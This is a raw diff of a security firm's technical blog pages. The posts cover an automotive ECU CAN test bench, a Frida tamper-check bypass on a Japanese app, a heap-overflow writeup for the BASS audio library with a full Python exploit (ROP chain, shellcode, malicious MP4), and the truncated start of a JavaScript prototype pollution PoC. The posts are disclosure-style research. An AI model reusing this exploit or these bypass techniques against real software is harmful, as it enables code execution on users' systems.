ECU는 전자제어유닛(Electronic Control Unit)의 약자로 자동차에서 필요한 각종 연산을 수행하는 일종의 컴퓨터이다. 과거에는 엔진제어유닛(Engine Control Unit)의 의미로만 사용되었으나 차량의 전자화가 이뤄지면서 다양한 모듈에서 전자제어가 사용되어 전자제어장치들을 모두 통칭할 때 사용하게 되었다. 최근에는 엔진 제어 유닛을 ECM(Engine Control Module) 이라고 부르며 TCU, BCM 등 다양한 유닛이 차량에 탑재되고 있다.

+ +

ECU 구매하기

+

ECU 테스트 벤치를 만들기 위해 ECU를 구매해보자.

+ +

필자가 구매한 물건은 17년식 아반떼(AD) 1.6 GDI A/T에 탑재되는 ECU(39110-2BAZA)이다.

+ +

구매 시 고려사항

+

차량 형식

+

요즘 차량들은 모두 ECU를 가지고 있기 때문에 어떤 차종을 선택하더라도 무관하지만, 차종이 동일하더라도 차량 형식이 바뀔 때에는 새로운 코드명을 부여받는다. 예를 들어 쏘나타는 1986년 이래로 지금까지 계속 “쏘나타”였지만 형식에 따라 코드명은 Y2, Y3, EF, NF, YF, LF, DN8로 바뀌어왔다. 차량 형식이 바뀔 때는 통상적으로 부품이 많이 바뀌기 때문에 이 부분을 반드시 확인해야 한다.

+ +

연식

+

연식에 따라 ECU 모듈이 바뀌는 경우는 흔하지 않지만 차후 분석에서 중요한 힌트가 될 수 있고, 간혹 연식변경 모델에서 전장 구성이 바뀌는 경우도 있기 때문에 알아둘 필요가 있다.

+ +

엔진 형식

+

같은 차종이더라도 여러 엔진 형식이 존재할 수 있으며, 엔진 형식에 따라 다른 ECU를 사용할 수도 있다. 예를 들어 분석에 사용되는 17년식 아반떼는 가솔린 2종(감마 1.6 T-GDI, 감마 1.6 GDI), 디젤 1종 (U-II 1.6 VGT), 총 3종류의 엔진 형식이 존재한다. 점화플러그를 사용하지 않는 디젤의 경우 엔진의 부품 구성이 달라지기 때문에 ECU 구성이 바뀔 가능성이 높다. 따라서 구매 전 엔진 형식을 알아두어야 한다.

+ +

변속기 유형

+

변속기 형식(자동/수동/DCT 등)에 따라 ECU가 달라지기 때문에 변속기 유형에 대해서도 알아두어야 한다.

+ +

구매 방법

+ + + + + + + + + + + + +
pic_1
출처 : 현대모비스 부품정보검색
+ +

신품을 구매하면 좋겠으나 가격이 다소 부담스럽다. 실험에 사용하는 목적이라면 중고를 구매해도 무관하다. 인터넷 쇼핑몰이나 gparts 등에서 중고 ECU를 구할 수 있다.

+ + + + + + + + + + + + +
image-20201028131033957
신품 가격으로 3개 쯤 살 수 있다… 🤔
+ +

신품에 비해 저렴한 가격으로 판매중인 것을 확인할 수 있다. 일부 판매점에서는 ECU와 연결되는 커넥터도 같이 판매하는 경우가 있으므로 판매점에 확인하여 함께 구매하는 것을 추천한다. 커넥터가 있는 경우 케이블을 연결하기 훨씬 쉬워진다.

+ +

ECU 연결

+

ECU 핀들을 보면서 속이 복잡해지겠지만 걱정하지 않아도 된다. 현대/기아 차량은 정비를 위한 기술정보 사이트 GSW를 제공하고 있다. GSW를 통해 차량 전장회로도, ECU 커넥터 정보 등을 확인하여 연결하면 된다.

+ + + + + + + + + + + + +
image-20201028145437329
[회로도-엔진 전장-엔진 컨트롤 회로(A/T)]
+ +

회원가입 후 [전장회로도 - 모델 선택 - 연식 선택 - 엔진]을 선택한 후 원하는 회로를 선택하면 된다 (ex. 전장회로도 - 아반떼(AD) - 2017 - G 1.6 GDI) 참고할 사람을 위해 상세 메뉴를 표시해두겠다. 상세 메뉴는 차종에 따라 차이가 있을 수 있다.

+ +

커넥터

+ + + + + + + + + + + + +
image-20201028135503667
커넥터(C100-AK) 단면도
+ +

실험에 사용되는 ECU(39110-2BAZA)는 2가지 종류의 커넥터가 필요하지만 이번에 사용할 핀들은 C100-AK 커넥터 하나에 모두 모여있다. 단자에 맞는 커넥터가 없는 경우에는 직접 납땜을 해야한다. 필자는 커넥터를 못 구했기 때문에 핀의 크기가 큰 1~6번 핀은 납땜으로 연결하고, 좌측 핀은 흔히 볼 수 있는 CH254(아두이노 등에 흔히 사용되는 소켓) 소켓 케이블로 연결했다.

+ + + + + + + + + + + + +
image-20201028141435630
[커넥터 정보-컨트롤 하네스-회로도]
+ +

C-CAN, CCP-CAN 통신을 위한 High/Low 핀, 전원 및 접지 핀에 케이블을 연결한다. 여기서 주의할 점은 커넥터의 배선이기 때문에 좌우가 반대라는 것이다. 그림이 좌우로 뒤집어졌다고 생각하고 작업해야 올바른 위치에 연결할 수 있다

+ + + + + + + + + + + + +
image-20201028143346349
‘연결만 되면 됐지’ 같은 마감 상태
+ +

전원 공급

+ +

필요한 모든 선을 ECU에 연결했다면 전원을 공급해야 한다. ECU에 필요한 전압은 GSW에서 확인할 수 있다.

+ + + + + + + + + + + + +
image-20201028151400097
[정비지침서-아반떼(AD)-2017-G 1.6 GDI-엔진 제어/연료 시스템-엔진 컨트롤 모듈(ECM)-회로도]
+ +

전압은 시동 시 배터리 전압을 따른다고 나와있으므로 자동차 배터리 전압인 12V를 공급하면 된다. 구체적인 요구사항과 신호명 각 항목에 대한 자세한 내용을 알고 싶다면 회로도-엔진 전장-엔진 컨트롤 회로(A/T)-서비스 팁을 참고하면 된다.

+ +

12V를 공급하는 방법은 여러가지가 있지만, 쓰지 않는 컴퓨터 파워서플라이를 가져와서 전원 공급에 사용하는 방법도 있다.

+ + + + + + + + + + + + +
image-20201028152046716
[파워 서플라이 전원 정보]
+ +

가지고 있는 파워서플라이를 확인해보니 12V/18A 전원을 지원하는 것을 확인할 수 있다. 연결해보니 동작하는 데 크게 이상은 없었다. 대강 요구사항에 맞으면 파워서플라이 케이블을 잘라내고 작업을 시작해보자. 작업 직전에 파워서플라이를 사용한 적이 있다면 캐패시터를 충분히 방전시키는 것을 잊지말자

+ + + + + + + + + + + + +
image-20201028153014068
파워서플라이에는 고전압이 흐르고 있다. 작업에 유의하도록 하자
+ + + + + + + + + + + + +
ATX power supply pinout 24 and 20 pin
출처 : https://www.smpspowersupply.com/connectors-pinouts.html
+ +

그림은 ATX 파워서플라이 단자의 배치도이다. ECU에 전원을 공급하기 위해 파워서플라이의 12V 핀, 그리고 PS_ON(16번), 15번 COM이 필요하다. 12V 직류 전원을 제공하는 포트는 노란색 중 하나를 사용하면 되고, 접지는 검은색을 사용하면 된다. PS_ON은 파워서플라이의 시작을 위해 사용되는 핀으로 15번 COM과 쇼트 시켜주면 된다. PS_ON을 쇼트시켜주지 않으면 파워서플라이가 켜지지 않는다.

+ +

Arduino + CAN Shield

+ +

CAN 데이터를 송/수신하기 위해 아두이노를 사용한다. 데이터가 많이 쌓이면 아두이노가 먹통이 되는 경우가 잦아 라즈베리 파이를 추천하지만 아두이노를 쓰는 편이 더 쉽기 때문에 이번 게시글에서는 아두이노를 이용한 방법을 소개한다.

+ + + + + + + + + + + + +
image-20201028161216982
비싸서 못 사는 게 아니고 배송비 2,500원이 뼈 아프다
+ +

아두이노가 CAN 통신을 하도록 하기 위해서는 CAN 모듈이 필요하다. 많은 비싼 모듈이 있지만 이정도 제품이면 크게 문제되지 않는다. 아두이노와 MCP2515 모듈은 다음과 같이 연결한다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MCP2515Arduino
VCC5V
GNDGND
INTDIGITAL 2
CSDIGITAL 9
SIDIGITAL 11
SODIGITAL 12
SCKDIGITAL 13
+ +

MCP2515를 사용하기 위해 라이브러리(https://github.com/Flori1989/MCP2515_lib)를 설치한다.

+ +

배선 작업 및 회로 구성

+ +

다시 한 번 강조하지만, 작업 전 파워서플라이의 전원을 제거하고 방전될 때까지 충분한 시간이 지난 후 작업해야한다.

+ + + + + + + + + + + + +
IMG_8289
파워서플라이 DC 12V 열수축튜브 작업
+ +

안전하고 깔끔한 배선 작업을 위해 다이소에서 1000원에 구할 수 있는 열수축튜브를 사용했다. 브레드보드에서 작업하기 위해 전선을 자르고 CH254 소켓을 연결했다. 이후 CAN Shield, ECU 전원들을 브레드보드에 구성했다.

+ + + + + + + + + + + + +
IMG_8304
브레드보드 구성 사진
+ +

구성에 대한 이해를 돕기 위해 그림을 준비했다.

+ + + + + + + + + + + + +
image-20201029133438034.png
전체 회로도
+ +

파워서플라이에서 12V, GND, PS_ON 핀을 따오고, ECU와 이어지도록 작업한다. PS_ON은 GND와 따로 이어지도록 구성해줘야 한다. ECU 전원 및 접지는 파워서플라이의 전원, 접지에 바로 이어져도 상관없다. ECU와 CAN은 HIGH, LOW를 그대로 이어주고, 아두이노와 CAN Shield는 이전 단원에서 다뤘던 그대로 이어주면 된다.

+ +

전원부를 직접 연결하는 것이 부담된다면 안정적인 동작을 위해 회로의 퓨즈 용량에 맞게 전원부에 회로를 구성하는 것도 좋다. 회로의 퓨즈 용량은 GSW의 회로도 [회로도-엔진 전장-엔진 컨트롤 회로(A/T)-회로도]에서 확인할 수 있다. 다만 이번 글의 목표는 단순히 ECU에서 신호가 잘 출력되는지를 확인하는 것이므로 별도의 회로를 구성하지는 않았다. 이는 다음 편에서 다루겠다.

+ +

데이터 출력

+ +
#include <mcp_can.h>
+#include <SPI.h>
+long unsigned int rxId;
+unsigned char len = 0;
+unsigned char rxBuf[8];
+
+MCP_CAN CAN0(9);
+
+void setup()
+// Set CS to pin 9
+{
+  Serial.begin(115200);
+  if(CAN0.begin(CAN_500KBPS, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); 
+  else Serial.print("Can init fail!!\r\n");
+  pinMode(2, INPUT); // Setting pin 2 for /INT input 
+  Serial.println("MCP2515 Library Receive Example...");
+}
+void loop()
+{
+  if(!digitalRead(2))
+  {
+    CAN0.readMsgBuf(&len, rxBuf);
+    rxId = CAN0.getCanId();
+    Serial.print("ID: ");
+    Serial.print(rxId, HEX);
+    Serial.print(" Data: ");
+    for(int i = 0; i < len; i++)
+    {
+      if(rxBuf[i] < 0x10)
+      {
+        Serial.print("0");
+      }
+      Serial.print(rxBuf[i], HEX);
+      Serial.print(" ");
+    }
+    Serial.println();
+  }
+}
+
+ +

MCP2515 라이브러리에 들어가있는 CAN 통신 읽기 예제 코드이다. 간단한 코드지만 ECU가 정상적으로 작동하는지 확인하는 데에는 충분하다.

+ + + + + + + + + + + + +
IMG_8276
패킷이 너무 많이 나와서, 오래두면 아두이노 프로그램이 뻗는다
+ +

전원을 켜면 실시간으로 많은 CAN 패킷들이 쏟아져 나오는 것을 확인할 수 있다.

+ +

이제 분석을 시작하면 된다!

+ +

Epilogue

+ + + + + + + + + + + + +
image-20201028163713843
테스트 환경 전체 모습
+ +

이번 게시글에서는 ECU와 PC용 파워서플라이, 아두이노 그리고 간단한 배선작업을 통해 자동차 해킹을 위한 테스트 환경을 구성해보았다.

+ +
    +
  • [질문/수정 제안을 위한 연락처] yiseo@stealien.com
  • +
+ + +
+
+
+ +
+
+
서영일
+
yiseo@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-11-16/japanese_app_security.html b/docs/2020-11-16/japanese_app_security.html new file mode 100644 index 0000000..83d64a2 --- /dev/null +++ b/docs/2020-11-16/japanese_app_security.html @@ -0,0 +1,246 @@ + + + + + + + + + + +日本のアプリケーションセキュリティー措置 + +日本のアプリケーションセキュリティー措置 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
日本のアプリケーションセキュリティー措置
+
+
+ + 양찬우 +
+
Nov 16, 2020
+
+
+
+
+
+

日本のアプリケーションセキュリティー措置

+ +

概要

+ +

今回は日本のアプリケーションの特徴と、セキュリティ措置について確認するため、APKファイルを改ざんしたりhookingを通じてモバイル安全性を確認するいくつかのテストを行います。

+ +

1。アプリの具現方法

+ +

日本のアプリケーションの特徴を調べるために、日本のショッピングアプリケーションを一例として分析してみます。オンラインショッピングアプリは大体ウェブビューで具現されています。

+ +

2。root化の有無を確認

+ +

日本のアプリケーションの特徴および問題点

+ +

金融関係のアプリケーションを除き、日本の一般的なアプリケーションはアンドロイドのroot化が出来ているかを確認していない場合があります。しかし、root化の有無を確認するのはアプリケーションセキュリティに対する大事な問題です。

+ +

インストールして実行してみると、アプリケーションはroot化の有無を確認していませんでした。これについて個人的には、root化の有無を確認しないとハッカーがアプリを改ざんしたり、システム権限を利用してシステムを操作する場合があります。なので、rootingの有無を確認することをお勧めします。

+ +

SUコマンドを検証、プロセスリスト探知、rooting関連アプリの有無を確認さればroot化の有無が簡単に確認できます。

+ +

16

+ +

​[図1] rootingされたデバイスで実行されたアプリケーション

+ +

3。難読化

+ +

難読化は、文字通り読みにくくするという意味です。

+ +

難読化はデコンパイルしたソースコードを変更して解りにくくし、解析を困難にしてサイバー攻撃から守ります。

+ +

JEBツールを使ってAPKをデコンパイルしてみました。

+ +

7

+ +

​[図2] 難読化が出来ていないソースコード

+ +

4。アプリの改ざん検証

+ +

アプリケーションの改ざん検証が行われているかを確認する方法は、アプリケーションをrepackagingしてみるか、smaliコードを変更してみるかの二つの方法があります。私はアプリケーションをrepackagingする方法を使てみました。

+ +

8

+ +

​[図3] jarsignerを使ってresign

+ +

repackagingの後resigningして偽造されたアプリを実行して見ると

+ +

3

+ +

​[図4] 強制終了されたアプリケーション

+ +

上記図を見ると、改ざんを検証していることがわかります。

+ +

改ざんを検証しているところを、fridaを使ってhookingしてみました。

+ +

fridaはPythonベースのライブラリの動的解析ツールです。

+ +

このツールは、JavaScriptを用いてScriptingが可能であり、マルチプラットフォームで動作します。(インストール方法は pip install frida-tools)

+ +

そして、hash値の検証を通し、アプリケーションの改ざん有無を確認していることがわかりました。

+ +

下記のコードを使ってhookingしました。

+ +

MCD

+ +

​[図5] コード

+ +

hookingした後、アプリケーションを実行して見ると次の図のようにアプリが正常に起動していることが確認できました。

+ +

16

+ +

​[図6] 通常に動作している画面

+ + +
+
+
+ +
+
+
양찬우
+
cyang@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-11-26/audio_lib_exploit.html b/docs/2020-11-26/audio_lib_exploit.html new file mode 100644 index 0000000..52d3862 --- /dev/null +++ b/docs/2020-11-26/audio_lib_exploit.html @@ -0,0 +1,314 @@ + + + + + + + + + + +Audio Library vulnerability analysis + +Audio Library vulnerability analysis | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Audio Library vulnerability analysis
+
+
+ + 이해찬 +
+
Nov 26, 2020
+
+
+
+
+
+

Audio Library vulnerability analysis

+ +

3-4년전에 찾아서 제보했던 오디오 라이브러리에 대한 취약점 분석글입니다.

+ +

BASS는 MP3,ACC,M4P,FLAC,OGG,WAV 등 여러가지 확장자를 지원하는 오디오 라이브러리입니다. 다수 프로그램이 현재까지도 사용하고 있습니다.

+ +

취약점 분석

+ +

개요

+ +

Audio File을 파싱하던중 data 필드 부분에서 integer overflow가 발생합니다. integer overflow를 통해 복사하는 데이터의 길이보다 작은 값을 힙할당 하게 되어 Heap overflow로 이어집니다.

+ +

분석

+ +

image-20201117134210220

+ +

*sub_110249B6 (strlen)

+ +

*sub_11001009 (heap alloc)

+ +

*sub_110031E6 (File Read)

+ +

첫번째 박스에서 v4가 파일에서 읽어온 값입니다. (v4-7+3)&0xFC만큼 스택을 할당하고 파일에서 읽어와 해당스택에 저장합니다. 그리고 두번째 박스에서 data 필드를 파싱할때 힙할당시 계산되는 사이즈부분에서 검증미흡으로 integer overflow가 발생하게 됩니다.

+ +

v66은 파일에서 가져온 값이며, v8은 첫번째 박스에서 할당한 스택에 있는 내용의 길이입니다. 둘의 값을 잘 조절하면, 0xffffffff의 값을 넘기게 하여 v66보다 작은값을 할당 할 수 있습니다.

+ +

v66-16 사이즈만큼 파일 데이터를 읽오다 sub_110031E6 내부에서 Heap overflow가 발생하게 됩니다.

+ +

Exploit

+ +

image-20201117140035807

+ +

sub_110031E6 내부에서 qmemcpy로 파일내용을 복사한 이후에, sub_11003749가 호출됩니다.

+ +

image-20201117140119996

+ +

sub_11003749 함수에서 (*(a1+0x30)) 함수포인터가 호출되게 됩니다. 이때 Heap overflow로 인해 *(a1+0x30)의 값을 마음대로 조작 할 수 있게 되어 EIP 컨트롤을 할 수 있게 됩니다.

+ +

image-20201117141031393

+ +

WinDbg를 통해 디버깅을 진행해보았습니다. 함수 포인터를 호출할때, 스택상황을 보면, ESP에서 0x48만큼 떨어진거리에 아까 스택할당후 저장한 파일데이터가 존재하는것을 확인 할 수 있습니다. 해당부분에 ROP Chain을 구상하고, “add esp,0x~~;ret” 와 같은 가젯을 사용하여 ROP Chain을 실행시켰습니다.

+ +

image-20201117141227737

+ +

Virtual_alloca API를 통해 rwx 권한을 주고, 그공간에 쉘코드를 복사하고 점프하여 실행시키는 ROP Chain을 작성하였습니다.

+ +

image-20201117141641705

+ +

BASS 라이브러리를 사용하고 A사 프로그램에서 테스트 하였습니다. (패치완료됨)

+ +

익스플로잇 파일을 읽으면 쉘코드(calc.exe)가 실행되는것을 볼 수 있습니다.

+ +

Exploit Code

+ +
from struct import *
+
+p32 = lambda x : pack("<L",x)
+
+loop_cpy = ""
+sub_eax = ""
+
+shellcode = "\x90"*0x30 + "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7\xeb\xfe" + "\x90\x90"
+
+#rop_gadget
+cpy = 0x6350cbbc # mov dword ptr [eax], ecx ; pop esi ; ret
+pop_ecx = 0x635070f2 
+inc_eax = 0x63506ad8
+jmp_eax = 0x63506dad # push eax ; ret
+add_esp_13c = 0x63503f0b# : add esp, 0x13c ; ret   0x13c-0x48
+virtual_alloc = 0x6350f0a4
+ppppr = 0x63507389 # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
+pop_eax = 0x63507228 #: pop eax ; ret
+push_ecx_ptr = 0x6070fff1 #: push dword ptr [ecx] ; add byte ptr [eax], al ; ret 0xc
+mov_eax_ebx = 0x63507484 #: mov eax, ebx ; pop esi ; pop ebx ; pop ebp ; ret
+sub_eax_20 = 0x6350db86 #: sub eax, 0x20 ; pop ebx ; ret
+
+for i in range(0,len(shellcode),4):
+	loop_cpy += p32(pop_ecx)
+	loop_cpy += shellcode[i:i+4]
+	loop_cpy += p32(cpy)
+	loop_cpy += "\x90\x90\x90\x90"
+	loop_cpy += p32(inc_eax)
+	loop_cpy += p32(inc_eax)
+	loop_cpy += p32(inc_eax)
+	loop_cpy += p32(inc_eax)
+
+rop_chain = p32(mov_eax_ebx)
+rop_chain += "\x90"*12            
+rop_chain +=  p32(pop_ecx)
+rop_chain += p32(virtual_alloc)
+rop_chain += p32(push_ecx_ptr)
+rop_chain += "\x90"*0xc
+rop_chain += p32(ppppr)
+rop_chain += p32(0)
+rop_chain += p32(0x10000) # size
+rop_chain += p32(0x1000)
+rop_chain += p32(0x40) # execution
+rop_chain += "\x90"*0x10
+rop_chain += loop_cpy
+
+for k in range(0,4,1):
+	sub_eax += p32(sub_eax_20)
+	sub_eax += "\x90\x90\x90\x90"
+
+rop_chain += sub_eax
+rop_chain += p32(jmp_eax)
+
+header = "\x00\x00\x00\x08"
+header += "\x66\x74\x79\x70" # file signature
+header += "\x00\x00\x00\x09"   #  0x10 > 0x11   break pass
+header += "\x69\x6C\x73\x74" # ilst
+header += "\x00\x00\xAf\xff"  # 1 read size
+header += "\x6E\x61\x6D\x65" # name
+header += "\x90\x90\x90\x90" # dummy 
+
+rop_space = "\x90"*0xf0 + p32(add_esp_13c) + "\x90"*0x13c 
+for k in range(0,0x25,1):
+	rop_space += p32(add_esp_13c)*0xf0
+
+rop_space += rop_chain # 23c
+rop_space += "\x90"*(0xAff3-len(rop_space))
+
+header += rop_space
+
+data_header = "\xff\xff\x72\xeb"
+data_header += "\x64\x61\x74\x61"
+data = "\x90\x90\x90" + p32(add_esp_13c)*(0xfd0/4)
+
+f = open("exploit.mp4","w")
+payload = header + data_header + data 
+
+f.write(payload)
+f.close()
+
+
+ +

대응방안

+ +

integer overflow가 발생하지 않게 연산할때 오버플로우를 검증 하는코드를 추가 합니다.

+ + +
+
+
+ +
+
+
이해찬
+
hlee@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-12-23/javascript-prototype-pollution.html b/docs/2020-12-23/javascript-prototype-pollution.html new file mode 100644 index 0000000..db53cba --- /dev/null +++ b/docs/2020-12-23/javascript-prototype-pollution.html @@ -0,0 +1,359 @@ + + + + + + + + + + +Javascript Prototype Pollution in REALWORLD + +Javascript Prototype Pollution in REALWORLD | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Javascript Prototype Pollution in REALWORLD
+
+
+ + 윤석찬 +
+
Dec 23, 2020
+
+
+
+
+
+

Javascript Prototype Pollution in REALWORD

+ +

개요

+ +

웹해킹을 배우고 나서 가장 첫번째로 슬럼프가 왔을 시기가 APM(Apache + PHP + MySQL) 환경을 떠나 새로운 환경에서 해킹해야 했을 때였다. Pure PHP에서는 보안 기술을 프로그래머가 직접 구현해야 하는 게 많아서 XSS와 SQL Injection, Webshell Upload 같은 굵직한 취약점을 쉽게 찾을 수 있었는데, 그에 비해 nodejs의 express나 python의 flask, django 같은 현대적인 웹프레임워크에서는 굵직한 취약점을 찾기 어려웠기 때문이다. SQL Injection의 경우도 Pure PHP에서는 addslashes() 함수를 통해 직접 막았던 반면에, Modern Web Framework에서는 아래와 같은 ` ? ` 인자를 통한 자동 매핑 기술이나 ORM (Object Relational Mapping) 기술의 등장으로 인해 database connection framework 자체의 n-day 취약점이 있는 것이 아니면 쉽게 공략하기 어려워졌다.

+ +
let rows = await Database.query(
+	"SELECT * FROM `user` WHERE username = ?", [ username ]
+)
+
+ +

그러면 SQL Injection은 역사 속으로 사라지는 공격이 되는 것이 아닌가?’ 라는 생각에 한동안 해킹에 흥미가 떨어져 개발만 공부했던 기억이 있다. 하지만 그렇게 생각할 필요도 없는 것이, 아직도 많은 웹 어플리케이션이 잠재적인 보안 취약점을 갖고 있다는 것이다. 스틸리언에서 여러 Pentesting Projects를 경험해보고나서 결국 Modern Web 환경에서도 취약점은 반드시 나올 수 있다는 생각을 갖게 되었다.

+ +

그래서 이 글에서는 현대 웹 프레임워크에 대한 내 인식을 바뀌게 한 취약점을 소개하려 한다. 이 취약점은 간단하면서도, 프로그래머가 해당 취약점을 의식하지 않고 웹 서비스를 구축하면 충분히 나올 수 있을 법한 취약점이다.

+ +

Javascript에서의 객체지향

+ +

Java, Python 같은 여타 프로그래밍 언어처럼 Javascript도 객체지향 언어다. 하지만 객체지향을 구현하는 방법에서 약간의 차이가 있다. 객체지향을 표방한 다른 프로그래밍 언어에서는 ‘class’ 라는 개념을 볼 수 있는데, Javascript에서는 ‘class’라는 개념이 없다. class가 없다는 뜻은 객체지향에서 가장 중요한 기능 중 하나인 상속 기능을 사용하지 못한다는 뜻이다. 그래서 Javascript에는 prototype이라는 Javascript 고유 특성을 이용해 상속 기능을 구현했다. ECMA6 표준에서 ‘class’ 라는 키워드가 추가되었지만 궁극적으로 Javascript가 class 기반의 객체지향 언어로 바뀌지는 않았다. 흥미로운 사실은 Javascript의 이러한 특성을 이용한 취약점이 있다는 것이다.

+ +

Javascript Prototype Chain

+ +

앞에서 언급한 것처럼, 자바스크립트에서는 상속을 Prototype 이라는 객체를 사용해서 구현했다. 사실 우리는 상속이 이미된 객체를 사용하고 있다. 자바스크립트에서 객체의 부모는 __proto__ 로 접근할 수 있다. 다른 프로그래밍 언어의 상속에서 그렇듯, 자식 객체에서 어떠한 변수를 찾을 수 없으면 부모 객체에서 해당 변수를 찾게되는데, Javascript에서는 이것을 Prototype Chain이라고 부른다.

+ +
let user = {
+	name: scyoon,
+	age: 20,
+}
+
+console.log(user.hasOwnProperty(name)); // true
+
+ +

[참고] https://poiemaweb.com/js-prototype

+ +

user라는 객체에서 hasOwnProperty() 메소드를 선언하지 않았음에도 호출할 수 있는 이유는 user 객체가 부모 객체에서 hasOwnProperty() 메소드를 상속받았기 때문이다. Object 리터럴 (즉, 중괄호 { } 를 통한) 객체 선언 방식은 내부적으로 new Object(); 이 실행되며 선언되는데, 이러한 이유로 Object 객체를 상속받게 되는 것이다.

+ +

간단 코드 설명

+ +
var a = {
+    attr1: 'a1'
+}
+
+var b = {
+    attr2: 'a2'
+}
+
+b.__proto__ = a;
+
+b.attr1 // 'a1'
+
+ +

[출처] https://meetup.toast.com/posts/104

+ +

b에서 부모 객체인 a의 attr에 접근할 수 있다. a가 부모객체가 된 것이고, b가 자식객체가 된 것이다.

+ +

객체 리터럴을 통해 선언한 객체의 부모는 Object.prototype 이기 때문에, 객체에서 undefined인 속성에 접근할 때 Object.prototype에도 해당 속성이 있는지 확인한다. 아래는 이해를 돕기 위한 코드이다.

+ +
Object.prototype.hi = true;
+let foo = {bar: 1};
+console.log(foo.hi); // true
+console.log(hi); // true
+
+ +

foo는 객체 리터럴로 생성된 객체이다. 따라서 foo.__proto__Object.prototype이다.

+ +

What is Javascript Prototype Pollution ?

+ +

Prototype Pollution이란 Javascript 내부에서 객체지향의 핵심 기술인 상속을 Prototype Chain으로 구현한 점을 이용해, 특정 로직을 우회하거나 코드가 해커가 원하는 방향으로 실행되도록 만드는 공격이다. 위의 내용을 이해했다면 취약점의 원리는 아래의 코드를 보면서 쉽게 이해할 수 있다.

+ +
let foo = {bar: 1};
+let user = {
+	name: 'ch4n3.yoon',
+	age: 20,
+}
+
+foo.__proto__.isAdmin = true;	// exploit
+
+if (user.isAdmin) {
+    console.log(`${user.name} is admin`);  // console.log() will be executed
+}
+
+ +

블랙박스 테스팅보다 npm 처럼 소스코드가 공개되어 있는 프로젝트에서 유용하게 사용할 수 있는 공격이 될 것 같다.

+ +

Javascript Prototype Pollution in REAL WORLD

+ +

이 글에서 설명할 CVE는 CVE-2020-8116 이다. dot-prop이라는 javascript 패키지에서 발생한 취약점이며, 해당 패키지에 대한 설명은 아래 코드로 대체하겠다.

+ +
const dotProp = require('dot-prop');
+ 
+// Getter
+dotProp.get({foo: {bar: 'unicorn'}}, 'foo.bar');
+//=> 'unicorn'
+ 
+dotProp.get({foo: {bar: 'a'}}, 'foo.notDefined.deep');
+//=> undefined
+ 
+dotProp.get({foo: {bar: 'a'}}, 'foo.notDefined.deep', 'default value');
+//=> 'default value'
+ 
+dotProp.get({foo: {'dot.dot': 'unicorn'}}, 'foo.dot\\.dot');
+//=> 'unicorn'
+ 
+// Setter
+const object = {foo: {bar: 'a'}};
+dotProp.set(object, 'foo.bar', 'b');
+console.log(object);
+//=> {foo: {bar: 'b'}}
+ 
+const foo = dotProp.set({}, 'foo.bar', 'c');
+console.log(foo);
+//=> {foo: {bar: 'c'}}
+ 
+dotProp.set(object, 'foo.baz', 'x');
+console.log(object);
+//=> {foo: {bar: 'b', baz: 'x'}}
+ 
+// Has
+dotProp.has({foo: {bar: 'unicorn'}}, 'foo.bar');
+//=> true
+ 
+// Deleter
+const object = {foo: {bar: 'a'}};
+dotProp.delete(object, 'foo.bar');
+console.log(object);
+//=> {foo: {}}
+ 
+object.foo.bar = {x: 'y', y: 'x'};
+dotProp.delete(object, 'foo.bar.x');
+console.log(object);
+//=> {foo: {bar: {y: 'x'}}}
+
+ +

CVE-2020-8116CVSS SCORE로 6.3 점을 받았을 만큼 무시할 수만은 없는 취약점이다. 하지만 취약점의 위험도에 비해 그 원리는 너무나 단순하다. 이 취약점의 PoC이다.

+ +
const dotProp = require("dot-prop")
+const object = {};
+console.log("Before " + object.b); //Undefined
+dotProp.set(object, '__proto__.b', true);
+console.log("After " + {}.b); //true
+
+ +

객체 리터럴이 Object.prototype을 참조하는데, Object.prototype에 b가 true로 지정되어 있기 때문에 제일 마지막 console.log 에서는 undefined가 아닌 true가 출력된다. Prototype Pollution이 발생한 것이다. 내부 코드를 보면 더욱 별거 아니다.

+ +
set(object, path, value) {
+	if (!isObj(object) || typeof path !== 'string') {
+		return object;
+	}
+
+	const root = object;
+	const pathArray = getPathSegments(path);
+
+	for (let i = 0; i < pathArray.length; i++) {
